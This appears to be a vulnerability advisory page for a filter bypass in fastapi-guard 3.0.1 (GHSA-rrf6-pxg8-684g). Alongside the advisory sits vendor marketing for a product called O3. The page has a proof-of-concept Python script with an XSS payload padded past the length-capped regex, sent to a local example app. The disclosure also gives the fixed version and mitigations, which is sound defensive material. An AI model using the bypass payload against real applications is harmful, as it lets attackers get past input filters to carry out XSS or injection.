EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
fastapi-guardReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.
Details
In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f
This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.
r"<script[^>]*>[^<]*<\\/script\\s*>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>
This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.
PoC
- clone the fastapi-guard repository
- Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. <img width="1013" height="554" alt="image" src="https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54" />
- After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.
import requests
URL = "<http://localhost:8000>"
obvious_payload = {
"obvious" : "<script>alert(1);</script>"
}
response = requests.post(url=URL, json=obvious_payload)
print(f"[+] response of first request: {response.text}")
bypassed_payload = {
"suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>'
}
response = requests.post(url=URL, json=bypassed_payload)
print(f"[+] response of second request: {response.text}")
Impact
Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fastapi-guard | ≥ 3.0.1&&< 3.0.2 | 3.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fastapi-guard. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fastapi-guard to 3.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rrf6-pxg8-684g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rrf6-pxg8-684g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rrf6-pxg8-684g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rrf6-pxg8-684g in your dependencies?
O3 detects GHSA-rrf6-pxg8-684g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.